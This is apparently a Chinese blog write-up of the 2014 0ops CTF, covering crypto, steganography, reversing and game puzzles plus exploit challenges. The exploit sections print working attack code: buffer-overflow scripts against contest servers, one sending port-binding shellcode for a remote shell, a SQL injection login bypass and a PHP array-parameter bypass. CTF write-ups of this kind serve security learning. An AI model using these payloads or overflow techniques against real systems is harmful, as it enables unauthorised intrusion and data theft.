0×00 0CTF
『第一屆0ops信息安全技術挑戰賽,即0ops Capture The Flag,以下簡稱0CTF。 0CTF由上海交通大學網絡信息中心和上海市信息安全行業協會指導,由上海交通大學信息網絡安全協會承辦,是2014信息安全技能競賽校園賽首站。0CTF注冊與參賽地址為http://ctf.0ops.net。 比賽時間為北京時間2014年3月1日至2日,每天7時至23時,共32小時。』
看官方微博,這個比賽本來是面向上交校內的,就是校外可以做題但是不發獎,后來也給校外發獎了,整體感覺還不錯,好多大牛過來刷題了,沒有擠進前六名去……不過當做BCTF的一次練手吧,平時都在實驗室打醬油,做個比賽還是可以學到不少東西的。寫個Blog記錄一下過程,題目只做簡單描述,具體可以看官方頁面http://ctf.0ops.net,要登錄才能看到題目,不知道現在還能否注冊。
0×01 [Web]Spy
[題]簡單的Web題目,總共四關,每一關都要輸入數字,並保證輸入的數字比服務器給的大。
1. text框最多輸入3位數字,服務器隨機返回4位數字,這個審查元素改一下maxlength屬性就好了;
2. text框最多輸入3位數字,服務器隨機返回數字,這個改maxlength屬性不然過,但是發現服務器偶爾會返回三位數字,這樣的話一直提交999,總會過的;
3. 看誰出的數的倒數比較小誰就算贏!輸入-1直接過了;
4. 每人給出一個數,然后比誰的數的EVIL值大。啥是EVIL值?就是該數字每位ASCII碼的乘積唄,比如’123′這個數,三位數字的ASCII碼分別是49, 50, 51乘起來是124950,這個就是123這個數的EVIL值。這個題最多輸入6位,服務器的EVIL值很大,不過輸入0xFFFF就過了;
0×02 [Crypto]Classic
[題]小丁丁發現自己置身於一個詭異的房間,面前只有一扇刻着奇怪字符的門。 他發現門邊上還有一道密碼鎖,似乎要輸入密碼才能開門。。4esxcft5 rdcvgt 6tfc78uhg 098ukmnb
[解]這個比較詭異……通過鍵盤布局解密:0ops

通過鍵盤布局解密
0×03 [Misc]IPv4
[題]截止到2014.2.23,亞太互聯網絡信息中心分配給中國大陸的IPv4地址是多少個?
[解]下載文件http://ftp.apnic.net/stats/apnic/2014/delegated-apnic-20140223.gz進行統計分析。文件格式為:
apnic|CN|ipv4|1.2.2.0|256|20110331|assigned 等級機構|獲得該IP段的國家/組織|資源類型|起始IP|IP段長度|分配日期|分配狀態 |
我用Python解析的,讀入每行數據split一下就好了,得到330393088。
0×04 [Exploit]Welcome
[題]在服務器202.120.7.6:32323上運行了一個程序,溢出拿KEY。
[解]IDA分析程序,B函數可以溢出:
char *__cdecl B() { char *result; // eax@1 char s; // [sp+1Ch] [bp-40Ch]@1 int v2; // [sp+20h] [bp-408h]@1 __int16 v3; // [sp+24h] [bp-404h]@1 char v4; // [sp+26h] [bp-402h]@1 int v5; // [sp+41Ch] [bp-Ch]@1 v5 = 0; memset(&s, 0, 1016u); puts("Welcome to 0ops CTF."); fflush(stdout); gets(&s); result = &s; *(_DWORD *)&s = *(_DWORD *)"HelloKitty"; v2 = *(_DWORD *)&aHellokitty[4]; // o v3 = *(_WORD *)&aHellokitty[8]; // t v4 = aHellokitty[10]; // \0 if ( v5 ) // 覆蓋到v5即可 // 1016+4+2+1=1023 多覆蓋一個byte即可 { fd = (int)fopen("./flag.txt", "r"); __isoc99_fscanf(fd, "%s\n", &s); puts(&s); result = (char *)fflush(stdout); } return result; } |
開始忘了加\n,郁悶了好久……
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('202.120.7.6', 32323)) print sock.recv(1024) sock.send('a'*1025+'\n') # 一定要有\n print "send done" print sock.recv(2048) sock.close() |
0×05 [Web]System
[題]小丁丁在無意中發現了一個對方的內部登陸系統,可惜他不知道用戶名和密碼,該怎么辦呢?
[解]簡單的SQL注入,用戶名輸入下面的代碼即可:
'or 1=1# |
0×06 [Crypto]Dict
[題]小丁丁一直潛伏在邪惡黑客組織的總部大樓附近。他知道邪惡黑客組織的內部密碼Hash方式是咸的(Salted),但是 沒有正確的通行口令他無法潛入。他每天都在仔細分析這棟大樓的辦公室垃圾,想要從中找到一些線索。這一次,他撿到了某個員工的備忘小便簽:
WORD is a common english word len(WORD) = 4 md5(WORD + '0ops!^_^') = 'e79dc003a53edc551c5ef8364e97b2e2' HASH = md5(WORD) FLAG = 0ops{HASH} |
[解]四個字母組成的英語單詞,這個直接枚舉並比較MD5值就行了,很快就找到了單詞join。
0×07 [Crypto]JohnCode
[題]小丁丁偽裝成內部員工潛入了邪惡黑客組織,在群郵件中,他得知他們正在開發一套新的加密算法JohnCode。小丁丁看到了群共享的源代碼,陷入了深深的沉思。 你能幫他破解這個囧呆馬嗎?
eaxRa8RO8gyXLs/5lZO2jUk32bGGN9DoA5hi1MBswPnWw28pk2f=
JohnCode加密算法源代碼:
import hashlib def johncode(msg, key): token = hashlib.md5(key).digest() res = "" password = "0ops Capture The Flag" for c in msg: n = ord(c) ^ 0xde ^ 0xad ^ 0xbe ^ 0xef for i in xrange(16) : n ^= ord(password[i]) ^ ord(token[i]) res += chr(n) token = hashlib.md5(chr(n)).digest() return res.encode('base64').encode('rot13') |
[解]這個可以直接逆推的,因為每一輪的token都是上一輪的字符的MD5值。不過因為不知道key,所以第一位沒法解出來,但是題目說了FLAG的格式,所以第一位是0,解密的代碼如下:
import hashlib def getConstXor(): return 0xde ^ 0xad ^ 0xbe ^ 0xef def getPwdXor(): password = "0ops Capture The Flag" res = 0 for i in xrange(16): res ^= ord(password[i]) return res def getMd5Xor(val): token = hashlib.md5(val).digest() res = 0 for i in xrange(16): res ^= ord(token[i]) return res if __name__ == "__main__": ctftext = "eaxRa8RO8gyXLs/5lZO2jUk32bGGN9DoA5hi1MBswPnWw28pk2f=" ciphertext = ctftext.decode("rot13").decode("base64") ctlen = len(ciphertext) constXor = getConstXor() pwdXor = getPwdXor() i = ctlen - 1 msg = "" while i >= 1: tokenXor = getMd5Xor(ciphertext[i-1]) msg = msg + chr(ord(ciphertext[i]) ^ tokenXor ^ pwdXor ^ constXor) i = i - 1 # msg = }4660b46c5eb87b6e4b618a2804b40ee4{spo msg = msg[::-1] # msg = ops{4ee04b4082a816b4e6b78be5c64b0664} # 答案是 0ops{4ee04b4082a816b4e6b78be5c64b0664} |
0×08 [Reverse]Waltz
[題]APK逆向分析:http://ctf.0ops.net/attachment/download/EndlessWaltz.zip
[解]解壓APK得到classes.dex,然后使用dex2jar得到jar文件,然后使用JD-GUI就可以看Java代碼了,就是幾個字符串替換和BASE64加解密。
0×09 [Misc]FakeUser
[題]小丁丁有隔天備份ctf.0ops.net數據庫的習慣,就在比賽開始前一天,小丁丁突然發現備份似乎被人修改了,似乎額外增加了幾個賬戶。可是小丁丁已經不記得有哪些賬戶了,這可怎么辦?
注意:此題的FLAG是取 所有虛假賬戶的ID之和,求MD5,再拼上0ops{…} 即0ops{md5(sum of IDs of fake users)}
[解]將SQL文件導入數據庫,提示換行符不一致!所有換行符為\r\n的都是假的賬戶。
0x0A [Exploit]Login
[題]溢出服務器上的一個程序,位於202.120.7.110:55632
[解]getpath函數中,gets可以溢出,最后調用了strdup,這個函數會分配一段空間保存輸入的內容,把返回地址覆蓋為call eax的地址,那么返回的時候就會執行shellcode了。
char *__cdecl getpath() { char s; // [sp+8h] [bp-25Ch]@1 [604] void *v2; // [sp+260h] [bp-4h]@1 unsigned int v3; // [sp+268h] [bp+4h]@1 printf("Input Name Please: "); fflush(stdout); gets(&s); // 獲取輸入 v2 = (void *)v3; // v3 == 608 if ( (v3 & 0xB0000000) == 0xB0000000 )// 覆蓋返回地址, 返回地址存入v3 { printf("HEHE (%p)\n", v2); _exit(1); } printf("Got Name %s\n", &s); return strdup(&s); // 分配空間復制字符串, 返回值指向復制的字符串 } |
call eax可以隨便找一個:
.text:08048A4B call eax ; __CTOR_LIST__ |
不過我找了好多Shellcode都不管用……最后找了個開端口的,執行之后nc連接,cat flag.txt即可。
def testServer(): # http://www.shell-storm.org/shellcode/files/shellcode-370.php # port : 5074 shellcode = ("\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5f\x81\xef\xdf\xff\xff"+ "\xff\x57\x5e\x29\xc9\x80\xc1\xb8\x8a\x07\x2c\x41\xc0\xe0\x04" + "\x47\x02\x07\x2c\x41\x88\x06\x46\x47\x49\xe2\xedDBMAFAEAIJMD" + "FAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAFBFAIJOBLAGGMN" + "IAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIAJDIJNBLADPMNIAEB" + "IAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJOBLAALMNIA") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #sock.connect(('192.168.218.129', 55632)) sock.connect(('202.120.7.110', 55632)) print sock.recv(1024) #sock.send('A'*608+'\xB0'*4+'\n') sock.send(shellcode + '\x90'*(608-len(shellcode))+'\x4B\x8A\x04\x08'+'\n') print "send done" print sock.recv(2048) print sock.recv(2048) while True: acmd = raw_input("CMD> ") sock.send(acmd) sock.send(acmd) print sock.recv(2048) time.sleep(0.1) |
0x0B [Reverse]HackGate
[題]給定一個setup.exe,求KEY。
[解]setup.exe,是個安裝包,要求輸入密碼才能安裝。開始直接調試這個程序,發現根本斷不下來,發現創建了子進程,於是調試子進程,發現用了MD5、SHA以及CRC32算法,后來差一下發現是個Inno Setup的安裝包,然后我還找到了能夠繞過密碼直接提取文件的程序(當然找了好幾個才發現一個叫做InnoExtractor的程序),於是直接把里面的EXE摳出來了,是g++編譯的,我電腦裝了還跑不起來,可能DLL版本不對。直接托IDA看字符串就找到KEY了……當然要稍微變換一下,key是0ops{EL_PSY_CONGROO}。其實找到的字符串是LE_PSY_CONGROO,我用Google搜的時候,提示我是EL_PSY_CONGROO。
El Psy Congroo在動畫《命運石之門》播出之后才火起來的。 岡部倫太郎使用了很久用意義不明的話,能夠自我暗示,使自己鎮靜下來。 |
不過有時候做這種題,沒加密的話很容易偷懶的……(我這樣會被鄙視嗎?)
0x0C [Web]Signal
[題]繞過網站登陸。
[解]給提示了,這題和數據沒關系,和PHP的一些檢查方式有關系……審查元素,修改password字段名字(在name字段的值后面加上數組符[]),輸入任意密碼提交:
<form class="form-signin" action="login_ok.php" method="post"> <h2 class="form-signin-heading">Please sign in</h2> <input type="text" class="input-block-level" name="id" value="159.226.43.61" readonly=""> <input type="password" class="input-block-level" name="ps[]" placeholder="Password"> <label class="checkbox"> <input type="checkbox" value="remember-me"> Remember me </label> <button class="btn btn-large btn-primary" type="submit">Sign in</button> </form> |
0x0D [Crypto]RSASign
[題]小丁丁繼續在邪惡組織總部探索。他發現組織內部有一個專用的身份簽名系統。只要能拿到最高權限的賬戶簽名,他就可以得到最高權限啦!幸運的是,小丁丁又一次拿到了它的源碼。
[解]考察數論相關的知識了。
同余形式:若a % N = A 且 b % N = B,那么有(ab) % N = (AB) % N;
同理對於RSA有:若a^d % N = A 且 b^d % N = B,那么有[(a^d)*(b^d)] % N = (AB) % N;
現在服務器能夠返回給定任意數據a,返回a^d % N的值A,如果能拿到0ops(假設轉化為數值之和為c)的返回值:c^d % N = C,即拿到C的值就可以拿到KEY了。
a^d % N = A b^d % N = B c^d % N = C |
分解c,假設c = a*b,那么有(A*B)≡C mod N,計算一下,c剛好能夠分解,那么我們就可以從服務器拿回A和B了,如果知道了N,就可以拿到C了。不過對於這個題,拿到AB就已經夠了,因為RSA簽名驗證就是(A*B)^e % N。不過N還是可以求出來的,大神提供的思路如下:
2^d % N = A 4^d % N = B 即 (2*2)^d % N = B 8^d % N = C 即 (2*2*2)^d % N = C 有M = GCD(A*A-B, A*A*A-C) 注意這里求出的M可能是kN,也就是是N的倍數,如果運氣好就是N了,不然要多找幾次。 |
下面是解題代碼,會求出N。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 |
import time import socket import string def int2str(n): charset = string.digits + string.letters p = len(charset) + 1 s = "" while n: s = s + charset[n%p-1] n /= p return s[::-1] def str2int(s): """ map '0' => 1 '1' => 2 ... '9' => 10 'a' => 11 ... 'z' => 36 'A' => 37 ... 'Z' => 62 """ charset = string.digits + string.letters p = len(charset) + 1 r = 0 for c in s : r = r * p + charset.index(c) + 1 return r def getFactor(): ops = str2int('0ops') a = b = 0 for i in range(2, ops): if ops % i == 0: a, b = i, ops/i print "%d * %d = %d" % (a, b, ops) break sa = int2str(a) sb = int2str(b) print "%d --> %s" % (a, sa) print "%d --> %s" % (b, sb) return sa, sb def getAuthKey(s): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('202.120.7.5', 38241)) sock.recv(2048) time.sleep(0.5) sock.recv(2048) sock.send('1\n') # register sock.recv(2048) time.sleep(0.1) sock.send(s + '\n') sock.recv(2048) authKey = sock.recv(2048) sock.close() print "Username: %s" % s print authKey return authKey.strip() def getGCD(a, b): if a < b: a, b = b, a while b != 0: tmp = a % b a = b b = tmp return a def getN(): userlist = [2, 4, 8] keylist = [] for user in userlist: keylist.append(int(getAuthKey(int2str(user)))) diff = [] diff.append(pow(keylist[0], 2) - keylist[1]) diff.append(pow(keylist[0], 3) - keylist[2]) return getGCD(diff[0], diff[1]) def getFlag(authKey): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('202.120.7.5', 38241)) sock.recv(2048) time.sleep(0.5) sock.recv(2048) sock.send('2\n') # login sock.recv(2048) time.sleep(0.1) sock.send('0ops\n') # username sock.recv(2048) time.sleep(0.1) sock.send(str(authKey) + '\n') # authKey print sock.recv(2048) print sock.recv(2048) sock.close() if __name__ == "__main__": sa, sb = getFactor() ka = getAuthKey(sa) kb = getAuthKey(sb) kab = int(ka) * int(kb) print "authKey[%s] * authKey[%s] = \n%d\n" % (sa, sb, kab) n = getN() print "N = \n%d\n" % n flagKey = kab % n print "authKey[0ops] = \n%d\n" % flagKey getFlag(flagKey) raw_input("<Enter>") """ 163 * 2153 = 350939 163 --> 1A 2153 --> xa Username: 1A 21533328170418378084667829333241475137237189840136413341659043482256097510873406 80778085936300557220305925866245746162556818225595325428891118543277776000224693 94153804439920506389342914152518686076142925020261268165134548156640326678913058 32183740222011549816792593422992831392821041521696985409510603614521305240365730 69993107868111616188102944903092890088304093759066757333321808861343015436285431 83423748039157813181828728529338570079483125070881458603012233228629889625998610 77837188029428966569684473488137929071603810228867022108243630344706359935318974 659363579802989602917857042437294261061356335491933174051 Username: xa 25488744768722406399022993210073505421411878358623824552700157019662731668788913 29696762464701716291111290751757383920248775850436486970351641724147165259120289 88289621607449227239688925130507701532735104032594188602562364841462980159493017 96811103500139479056818978083991583831585928689088971640016014467405404108823622 37555222332241091523009935298355178015132729923435885189369662045864007701562485 91622365205822004617452169129111881126526480558419450732992640082382159767752794 22962647696103667805075981389049729228576300327608699296783543259431738187799821 731862053896502779740294350970620551593589183858097468202 authKey[1A] * authKey[xa] = 54885750575693426083919531510934514350135708923403345930121911623724478234602268 27979542454055898817768822046755196649628234154462632065635709315217301905443578 15053213360938990523525651515977264898624869669693382733171731889768054632085639 40081552196281561143501153944763925013800347447018887135453722798415734016750151 92184836862276059791184086691283031159039851810771777962934768576429259231364133 41834110889564427268927559492552852974023169921476230425928104005016422929418070 39593591140411537137125967387946130071547972790632118133896625499729357543308816 65448091364193997682005248870200041504023381016446066909023878970529319079800086 13808551432638083920706237377055192075931504657100138782762634126828570096626000 21740987778485284470130972040488510155441233144261202690270073340308044559909236 88022604483095012235643404016986395825071264788489401081410846239399008256383444 27783542166239774991615310457893021925122329284187579913245305211704054543963112 46617591745725112264275325834238989453825259130717300416524844869106838890002150 13539418987344763704144532367013919237191922725980132605207837102132907895624432 66607899392071332859380943060605852067363066333823230424467584589398587263860042 119105342842310261180736904026302 Username: 1 22162592382709279239675078287209487170257682361511277398481832147372823215451206 29012234993254397116315506291018552849006256580425529369872729697550238374739494 48772829679652923225545207924144536536130669962018422146411134841875616397357134 29568880006878286534623642415790091356045364443763159224635646171861388242085726 97265299606708141770914574335615303479761746656913880214780405285865156974703663 68707812547485603274962190456901154898407556530407582248442240935713344954001743 70460314565217400045829838047916742777893191557151837606275064117735853844147609 312638348348883587842186583304381307199776987787088683213 Username: 3 18555505824880771273727540829711672221676629831658469028977988584440554873780436 45137773386560133644983364637659004337061718305660923166817411197766375793405718 05103029732367220924127309328528302634299493223853139595279355089050203206293974 86840898999244645854695909576241621143659347688557261209638462191011865971149242 79464762884238981766433085461726300411125242999959696850859594687622334871918471 71670809991958427666213019092095767990137873589365923128683417543694089792152878 77150847918268764278582616037769773086098337088950812318405615762304350575303071 079091404763125577831379208432103400658648842256675379806 Username: 7 52482204868424933403557570627260487449813958439686870244092838847494332548446073 45602512803692746763888792435320054869228129209697946733034825577367868675415020 40650190376660294128759355299952166682183127812142558455298025750832300811952889 86463990447494116385230643606657822311838848399664307028247794759330657294253921 87875591907107721872039909705488324146809722005199670346002505042495876768793064 69944991228386536399164224058905493762703168633149946839305007134191114427394941 72485062533747457130652067041438480378568459966504351977884309118621219929633189 06584017724632422879044239426508028014318144849268674008 N = 29610211050329808378232545552699749436594480437122054986865680099884890513872850 75525661987282310273914255054387679145058167010821716155270450004228110100462580 61209364757602907910617119263438600005472312713489338816033264709490529535130190 96378961760344107740968951046321793825376720940083912117401942507142416424502224 52716016867059810410289101671971086362182186474576259372154998140093546592864747 64210175590855355005120986623171403794224031596995562230659609347027503141992475 47770245690981730429515128740909571870394089884652117078715034645606613009469198 724251507254450039197449345504428016016268512178144465269 authKey[0ops] = 13110205844472582078508561586009616010511440950399464874188864349291652777783298 99881232052318532954986646824467063842227828770517196037207171044544695490940912 12423450401458576493793741404979648318705923086553715197114747437125272098839105 53827198360050895608734309931663997144339422020764921090587199992980596843329551 10835974076198749267323036625564956690953923683306767300917098380913656898698173 63407386614802670044895487509786218738456054495098285103711261589674380370321433 35083314522191405782002192706825562995912444112388730499459139167637817864843651 545728753985843329656352477751861819954384211132836924156 You win! Flag is: 0ops{03e2bca28698ca3b2b8b50c594ae4e89} """ |
0x0E [Misc]Game
[題]小丁丁找到邪惡組織的人想要和他們在安全技術上一較高下,然而卻被告知你太嫩了,我們先不玩別的先來盤游戲吧,如果贏了我,再來談技術的問題也不遲啊哈哈哈哈哈。
[解]這個是個取石子游戲,大家應該見過,OJ上面也會常見,雖然我連這個也不會,不過搜一下還是有很多解決方案的。服務器會返回N堆石子給你,你要最后面拿光所有的石子,你就贏了這一個round。
也就是Nimm Game,有k堆石子,兩個人輪流從某一堆取任意多的物品,規定每次至少取一個,多者不限。取走最后石子的人獲勝。
引入一個概念,平衡狀態,又稱作奇異局勢。當面對這個局勢時則會失敗。任意非平衡態經過一次操作可以變為平衡態。 每個玩家都會努力使自己抓完石子之后的局勢為平衡,將這個平衡局勢留給對方。因此,玩家A能夠在初始為非平衡的 游戲中取勝,玩家B能夠在初始為平衡的游戲中取勝。 最后一個奇異局勢是(0,0...,0)。另一個奇異局勢是(n,n,0...0),只要對手總是和我拿走一樣多的物品,最后會面對 (0,0...,0)。 奇異局勢的判定: 對於一個普通的局勢,如何判斷其是不是奇異局勢?對於一個局勢(s1,s2,...sk),對所有石子個數做位的異或運 算,s1^s2^s3^...^sk,如果結果為0,那么局勢(s1,s2,...sk)就是奇異局勢(平衡),否則就不是(非平衡)。 從二進制位的角度上說,奇異局勢時,每一個bit位上1的個數都是偶數。 玩家的策略: 就是把面對的非奇異局勢變為奇異局勢留給對方。也就是從某一堆取出若干石子之后,使得每一個bit位上1的個數 都變為偶數,這樣的取法一般不只有一種。可以將其中一堆的石子數變為其他堆石子數的位異或運算的值(如果這個值 比原來的石子數小的話)。 參見:http://blog.csdn.net/ojshilu/article/details/16812173 |
照着這個思路寫了個腳本,但是比較蛋疼的是服務器每次只從一堆石頭中取出一個,這樣我也只能取出1個,而這樣下來就嚴重拖慢了速度,而服務器最初設置了100個round,我跑了1個多小時才跑完50個round,然后管理員認為100輪太多了,就把服務器端了調整為50輪,於是我又跑了1個小時左右,中午吃完飯回來就返回了key了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
#!/usr/bin/env python # -*- coding:utf-8 -*- import socket import sys def parseInput(s): idx = s.find("I pick") # 過濾無關數據 if idx != -1: s = s[idx:] idx = s.find("There are totally") # 過濾無關數據 if idx != -1: s = s[idx:] lines = s.split('\n') res = [] for l in lines: l = l.strip() data = l.split(': ') if len(data) == 2 and data[0].find("Pile") != -1: res.append(int(data[1])) return res def pickStone(s): l = len(s) maxCount = 0 idx = 0 for i in range(0, l): tmp = 0 for j in range(0, l): if j == i: continue tmp = tmp ^ s[j] if tmp < s[i]: if maxCount < s[i]-tmp: maxCount = s[i]-tmp idx = i return (idx, maxCount) if __name__ == "__main__": #redirectOutput() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('202.120.7.108', 17733)) print sock.recv(4096) while True: data = sock.recv(4096) print data arr = parseInput(data) print arr idx, count = pickStone(arr) sock.send("%d\n" % idx) print "%d" % idx data = sock.recv(4096) print data sock.send("%d\n" % count) print "%d" % count print sock.recv(4096) |
0x0F [Misc]Girl
[題]圖片隱寫術

0CTF Misc Girl 圖片隱寫術
[解]圖片無限放大之后會發現右上角有四個小點,這里面隱藏了信息,當然這里全是一堆紅色,看起來相當的晃眼!!這里面的像素點存在色差,我們需要對其進行二值化處理。下圖是截取的一個圖,我給四個小點畫了個圈,只是為了方便各位看官辨別。

圖片隱寫術
大家可以把原圖下載下來放大之后,在信息隱藏區域取色就能看到色差(比如QQ截圖工具就有取色功能)
正常的背景色RGB是(235,1,2),四個邊界點的RGB是(225,0,0),鼠標在區域內移動的時候,有兩個RGB值,分別是(235,1,2), (236,1,2),看到了沒,(235,1,2)就是背景色的RGB值。
剛開始以為這個是二維碼,就把背景色設置為白色(255,255,255),把四個邊界點的顏色設置為藍色(0,0,255),把二維碼中的顏色設置為黑色(0,0,0),以為差不多就OK了,誰知道這貨不是二維碼,是二進制信息。

其實不是二維碼
隱藏信息的區域我畫了個圈,從圖中可以看出,如果白色代表0,黑色代表1,我們轉成二進制得到0×30和0x6F,這就是0和o,也就是Flag的前綴0ops了,完善一下代碼就有key了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 |
#!/usr/bin/env python # -*- coding:utf-8 -*- import string from PIL import Image """ # It's not QR code :) def showQRCode(fpath): bmp = Image.open(fpath) pix = bmp.load() w, h = bmp.size for x in xrange(0, w): for y in xrange(0, h): if pix[x, y] == (235,1,2): pix[x, y] = (255,255,255) elif pix[x, y] == (225,0,0): pix[x, y] = (0, 0, 255) elif pix[x, y] == (236, 1, 2): pix[x, y] = (0, 0, 0) else: pix[x, y] = (255, 255, 255) bmp.save(fpath) """ def getFlagHex(fpath): bmp = Image.open(fpath) pix = bmp.load() w, h = bmp.size c = [] for y in xrange(0, h): for x in xrange(0, w): if pix[x, y] == (225,0,0): c.append((x, y)) flag = "" for y in xrange(c[0][1]+1, c[2][1]): x = c[0][0] + 1 for i in xrange(0, 4): ch = 0 for j in xrange(0, 4): tmp = 0 if pix[x+i*4+j, y] == (236, 1, 2): tmp = 1 ch = (ch<<1) + tmp flag = flag + ("%x" % ch) bmp.save(fpath) return flag def getFlag(flagHex): flag = "" tmp = 0 for i in xrange(0, len(flagHex)): val = string.hexdigits.index(flagHex[i]) if i&1: flag = flag + chr(tmp*16 + val) tmp = 0 else: tmp = val return flag if __name__ == "__main__": flagHex = getFlagHex("girl.bmp") flag = getFlag(flagHex) raw_input(flag) |
輸出flag為:0ops{Never_giving_up!Fighting!!}
0×10 [Exploit]WebServer
[題]在服務器202.120.7.111:44774上運行了一個程序,提供奇怪的web服務,能處理你的HTTP請求。看看這個web服務里有沒有什么非同尋常的秘密?注意:沒有NX以及aslr。提供libc.so.6文件下載。
[解]這個是GOT表覆蓋與printf格式化寫任意內存漏洞,exploit-exercises上面的format最后一題和這個類似,不過只怪我當時候沒有認真做題,這個題就沒交了……囧rz,這個題有空再補上吧。
0×11 Rank List
這次的馬甲是“棧溢出了”,排第八,被前排的大神擠下來了。我平時一般用另一個馬甲,叫Wins0n

0CTF Scoreboard 校外
本文地址: 程序人生 >> 0ops CTF/0CTF writeup
作者:代碼瘋子(Wins0n) 本站內容如無聲明均屬原創,轉載請保留作者信息與原文鏈接,謝謝!